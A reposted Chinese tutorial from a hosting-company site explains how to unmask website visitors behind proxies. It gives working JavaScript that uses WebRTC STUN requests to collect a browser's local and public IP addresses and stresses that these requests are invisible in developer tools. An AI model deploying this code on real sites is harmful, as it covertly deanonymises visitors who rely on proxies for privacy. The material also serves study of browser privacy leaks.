新西兰服务器

如何绕过代理获取访客真实IP


如何绕过代理获取访客真实IP

发布时间:2021-12-22 17:40:14 来源:高防服务器网 阅读:84 作者:小新 栏目:网络安全

这篇文章将为大家详细讲解有关如何绕过代理获取访客真实IP,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。

仅供用于参考学习使用

绕过代理获取访客真实IP

Firefox 跟 Chrome支持WebRTC可以向STUN服务器请求,返回内外网IP,不同于XMLHttpRequest请求,STUN请求开发者工具当中看不到网络请求的。

演示代码

//get the IP addresses associated with an account    function getIPs(callback){        var ip_dups = {};          //compatibility for firefox and chrome        var RTCPeerConnection = window.RTCPeerConnection            || window.mozRTCPeerConnection            || window.webkitRTCPeerConnection;        var mediaConstraints = {            optional: [{RtpDataChannels: true}]        };          //firefox already has a default stun server in about:config        //    media.peerconnection.default_iceservers =        //    [{"url": "stun:stun.services.mozilla.com"}]        var servers = undefined;          //add same stun server for chrome        if(window.webkitRTCPeerConnection)            servers = {iceServers: [{urls: "stun:stun.services.mozilla.com"}]};          //construct a new RTCPeerConnection        var pc = new RTCPeerConnection(servers, mediaConstraints);          //listen for candidate events        pc.onicecandidate = function(ice){              //skip non-candidate events            if(ice.candidate){                  //match just the IP address                var ip_regex = /([0-9]{1,3}(.[0-9]{1,3}){3})/                var ip_addr = ip_regex.exec(ice.candidate.candidate)[1];                  //remove duplicates                if(ip_dups[ip_addr] === undefined)                    callback(ip_addr);                  ip_dups[ip_addr] = true;            }        };          //create a bogus data channel        pc.createDataChannel("");          //create an offer sdp        pc.createOffer(function(result){              //trigger the stun server request            pc.setLocalDescription(result, function(){});          }, function(){});    }      //Test: Print the IP addresses into the console    getIPs(function(ip){console.log(ip);});

关于“如何绕过代理获取访客真实IP”这篇文章就分享到这里了,希望以上内容可以对大家有一定的帮助,使各位可以学到更多知识,如果觉得文章不错,请把它分享出去让更多的人看到。

[微信提示:高防服务器能助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。

[图文来源于网络,不代表本站立场,如有侵权,请联系高防服务器网删除]
[